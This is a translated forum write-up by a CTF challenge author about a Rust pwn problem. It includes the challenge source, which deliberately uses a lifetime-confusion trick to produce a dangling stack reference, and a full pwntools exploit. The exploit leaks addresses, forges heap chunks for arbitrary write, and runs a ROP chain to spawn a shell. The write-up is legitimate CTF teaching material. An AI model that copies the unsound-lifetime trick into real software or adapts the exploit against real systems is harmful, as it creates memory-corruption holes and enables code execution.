Sharing Ideas on Strong Network Cup S8 Rust Pwn Chat-With-Me Problem

1

Problem-Solving Ideas

The final number of solutions for this problem is 42, as the difficulty level is not high and generally meets expectations. The problem is coded in Rust, and it was decided to remove symbols without providing the source code the night before the competition. This not only made it very difficult for participants to reverse-engineer but also allowed most participants to focus on dynamic analysis, avoiding getting caught up in the details of the source code. During the problem formulation process, there were actually no vulnerabilities or clear exploitation points. The problem emerged while learning and debugging, and I am sharing the problem-solving ideas with everyone again, as a way to inspire further exploration.

Sharing Ideas on Strong Network Cup S8 Rust Pwn Chat-With-Me Problem

First, here is the source code (rustc 1.82.0-nightly (cefe1dcef 2024-07-22)):

use std::fmt;
use std::io::{self, Read, Write};

const MAX_MSG_LEN: usize = 0x50;
struct Msg {
    data: [u8; MAX_MSG_LEN],
}

impl Msg {
    #[inline(never)]
    fn new() -> Self {
        Msg {
            data: [0; MAX_MSG_LEN],
        }
    }
}

impl fmt::Display for Msg {
    #[inline(never)]
    fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
        write!(f, "{:?}", self.data)
    }
}

#[inline(never)]
fn prompt(msg: String) {
    print!("{} > ", msg);
    io::stdout().flush().unwrap();
}

struct ChatBox {
    msg_list: Vec<&'static mut Msg>,
}

impl ChatBox {
    #[inline(never)]
    fn new() -> Self {
        ChatBox {
            msg_list: Vec::new(),
        }
    }

    #[inline(never)]
    fn add_msg(&mut self) {
        println!("Adding a new message");
        self.msg_list.push(self.get_ptr());
        println!(
            "Successfully added a new message with index: {}",
            self.msg_list.len() - 1
        );
    }

    #[inline(never)]
    fn show_msg(&mut self) {
        prompt("Index".parse().unwrap());
        let mut index = String::new();
        io::stdin().read_line(&mut index).expect("Failed to read");
        let index: usize = index.trim().parse().expect("Invalid!");
        println!("Content: {}", self.msg_list[index]);
    }

    #[inline(never)]
    fn edit_msg(&mut self) {
        prompt("Index".parse().unwrap());
        let mut index = String::new();
        io::stdin().read_line(&mut index).expect("Failed to read");
        let index: usize = index.trim().parse().expect("Invalid!");
        prompt("Content".parse().unwrap());
        let mut handle = io::stdin().lock();
        handle.read(&mut self.msg_list[index].data).expect("Failed to read");
        println!("Content: {}", self.msg_list[index]);
    }

    #[inline(never)]
    fn delete_msg(&mut self) {
        prompt("Index".parse().unwrap());
        let mut index = String::new();
        io::stdin().read_line(&mut index).expect("Failed to read");
        let index: usize = index.trim().parse().expect("Invalid!");
        self.msg_list.remove(index);
    }

    #[inline(never)]
    fn get_ptr(&self) -> &'static mut Msg {
        const S: &&() = &&();

        fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
            fn ident<'a, 'b, T: ?Sized>(_val_a: &'a &'b (), val_b: &'b mut T) -> &'a mut T {
                val_b
            }
            let f: fn(_, &'a mut T) -> &'b mut T = ident;
            f(S, x)
        }
        let mut msg = Msg::new();
        get_ptr(&mut msg)
    }
}

#[inline(never)]
fn main() {
    let mut chat_box = ChatBox::new();
    println!("I am a chatting bot of QWB S8, you can chat with me.");
    println!("If you delight me, I will give you flag!");
    println!("This is function menu: ");
    println!("1. add");
    println!("2. show");
    println!("3. edit");
    println!("4. delete");
    println!("5. exit");
    loop {
        prompt("Choice".parse().unwrap());
        let mut choice = String::new();
        io::stdin().read_line(&mut choice).expect("Failed to read");
        let choice: i8 = choice.trim().parse().expect("Invalid!");

        match choice {
            1 => chat_box.add_msg(),
            2 => chat_box.show_msg(),
            3 => chat_box.edit_msg(),
            4 => chat_box.delete_msg(),
            5 => break,
            _ => println!("Invalid Choice!")
        }
    }
}

The idea for this problem was initially to construct a vulnerability using Rust without unsafe code. On one hand, I looked for suitable vulnerabilities on RustSec, and on the other hand, I discovered the cve-rs project. First, the vulnerabilities found on RustSec were not suitable for problem formulation, and due to time constraints and my own skill level, I ultimately chose to use the principles within cve-rs, “borrowing” from

The triggering POC of the UIUCTF 2024 Rusty Pointer problem:

fn get_ptr(&self) -> &'static mut Msg {
        const S: &&() = &&();

        fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
            fn ident<'a, 'b, T: ?Sized>(_val_a: &'a &'b (), val_b: &'b mut T) -> &'a mut T {
                val_b
            }
            let f: fn(_, &'a mut T) -> &'b mut T = ident;
            f(S, x)
        }
        let mut msg = Msg::new();
        get_ptr(&mut msg)
    }

To my understanding, this POC actually exploits the confusion of the static lifetime of variables, deceiving the Rust compiler into not releasing variables that have gone out of scope.

Through the above technical principles, we can obtain a pointer (or object) that is still usable after going out of scope. In this problem, it is applied to stack objects, so we can obtain a stack object msg within the get_ptr function:

Sharing Ideas on Strong Network Cup S8 Rust Pwn Chat-With-Me Problem

Each time add is called, due to the unchanged order of function calls, the addresses obtained are actually the same. Although this makes the program logic somewhat strange, it also reduces the controllability of the heap. Additionally, the size change of Msg can lead to stack layout changes, including the ability of the stack pointer that has left the lifetime to change, which sometimes can directly write to the return address, which is definitely too simple to be feasible.

const MAX_MSG_LEN: usize = 0x50;

2

Solution Strategy

The solution of the ACT team was actually the same as my expected solution. Through show, we can leak heap addresses, stack addresses, and ELF addresses. Through edit, we can find that there exists arbitrary address freeing, but the question is how to utilize this ability to achieve stack address writing or arbitrary address writing.

We now have two conditions: first, arbitrary address freeing; second, Rust’s vec is similar to C++, using realloc for resizing, and its pointer array is also stored on the heap.

Sharing Ideas on Strong Network Cup S8 Rust Pwn Chat-With-Me Problem

Thus, it is not difficult to think of releasing forged heap blocks to hijack the pointer array of vec to a controllable location. The most direct controllable locations are the 0x50 space on the stack and the buffer for stdin input on the heap.

Sharing Ideas on Strong Network Cup S8 Rust Pwn Chat-With-Me Problem

From the participants’ actions, it can be seen that both locations can successfully forge heap blocks to control the pointer of vec.

Here is my exp:

#!/usr/bin/env python

"""
author: GeekCmore
time: 2024-10-30 17:06:06
"""

from pwn import *

filename = "/home/geekcmore/Desktop/qwb/chat_with_me/attachments/pwn"
libcname = "/home/geekcmore/.config/cpwn/pkgs/2.39-0ubuntu8.3/amd64/libc6_2.39-0ubuntu8.3_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "localhost"
port = 6666
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = """
b *$rebase(0x1A979)
b /home/geekcmore/RustroverProjects/chat-with-me/src/main.rs:145
set debug-file-directory /home/geekcmore/.config/cpwn/pkgs/2.39-0ubuntu8.3/amd64/libc6-dbg_2.39-0ubuntu8.3_amd64/usr/lib/debug
set directories /home/geekcmore/.config/cpwn/pkgs/2.39-0ubuntu8.3/amd64/glibc-source_2.39-0ubuntu8.3_all/usr/src/glibc/glibc-2.39
"""


def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)


p = start()


def add():
    p.sendlineafter(b"Choice > ", b"1")


def show(idx):
    p.sendlineafter(b"Choice > ", b"2")
    p.sendlineafter(b"Index > ", str(idx).encode())


def edit(idx, content):
    p.sendlineafter(b"Choice > ", b"3")
    p.sendlineafter(b"Index > ", str(idx).encode())
    p.sendafter(b"Content > ", content)


def delete(idx):
    p.sendlineafter(b"Choice > ", b"4")
    p.sendlineafter(b"Index > ", str(idx).encode())


def quit():
    p.sendlineafter(b"Choice > ", b"5")


def tidy():
    p.recvuntil(b"Content: ")
    y = p.recvline()[1:-2].decode().replace(" ", "").split(",")
    values = []
    for i in range(10):
        tmp = 0
        for j in range(8):
            tmp += int(y[i * 8 + 7 - j])
            tmp <<= 8
        tmp >>= 8
        values.append(tmp)
    info([hex(x) for x in values])
    return values

add()
show(0)
addr_list = tidy()
stack_addr = addr_list[4]
elf.address = addr_list[5] - 0x635B0
heap_addr = addr_list[1]
success(f"stack_addr -> {hex(stack_addr)}")
success(f"elf_addr -> {hex(elf.address)}")
success(f"heap_addr -> {hex(heap_addr)}")
fake_heap = p64(1) + p64(0x91) + p64(1) * 2 + p64(heap_addr - 0x2010) + p64(0x1FE1)
edit(0, fake_heap)
tidy()
# pause()
for _ in range(6):
    add()

info("start")


def arb_qword(addr, qword):
    edit(1, p64(0) * 5 + p64(0x51) + p64(addr))
    info(f"Write {hex(u64(qword))} to [{hex(addr)}]")
    edit(0, qword)


def arb_write(addr, content):
    for i in range(0, len(content), 8):
        arb_qword(addr + i, content[i : i + 8])

ret_addr = stack_addr + 0x3D0
syscall = elf.address + 0x0000000000026FCF
pop_rdi_rbp = elf.address + 0x000000000001DD45
pop_rsi_rbp = elf.address + 0x000000000001E032
pop_rax = elf.address + 0x0000000000016F3E
pop_rdx_xor_ptrax = elf.address + 0x0000000000045DC5
sub_rdx_rcx_add_rax_rcx = elf.address + 0x000000000001FC60
pop_rcx = elf.address + 0x0000000000017FFF
ret = elf.address + 0x0000000000016BD8
payload = b""
payload += p64(pop_rdi_rbp) + p64(ret_addr + 0x60) + p64(0)
payload += p64(pop_rsi_rbp) + p64(0) + p64(0)
payload += p64(pop_rcx) + p64(0x33)
payload += p64(sub_rdx_rcx_add_rax_rcx)
payload += p64(pop_rax) + p64(constants.SYS_execve)
payload += p64(syscall)
payload += b"/bin/sh\x00"

arb_write(ret_addr, payload)

quit()
p.interactive()

3

Unexpected Ideas

In fact, when inputting choice, the characters entered will allocate new heap space for storage. Therefore, some teams released the forged heap on the stack to tcache, and then achieved stack overflow.

Sharing Ideas on Strong Network Cup S8 Rust Pwn Chat-With-Me Problem

Additionally, some participants discovered that during delete, it actually requests heap blocks, which I did not delve into further.

Sharing Ideas on Strong Network Cup S8 Rust Pwn Chat-With-Me Problem

KanXue ID: GeekCmore

https://bbs.kanxue.com/user-home-950404.htm

*This article is an excellent piece from the KanXue forum, originally by GeekCmore. Please indicate the source when reprinting from the KanXue community.

# Previous Recommendations

1、PWN Introduction – SROP Apprenticeship

2、A Variant of Gamarue Virus with APC Injection

3、Brute Force Fuzzing: Performance Enhancement

4、Discussion on Various Android Injection Methods, Open Source Injection Module Implementation

5、KCTF 2024 Water Margin – Anti-Deobfuscation

Sharing Ideas on Strong Network Cup S8 Rust Pwn Chat-With-Me Problem

Leave a Comment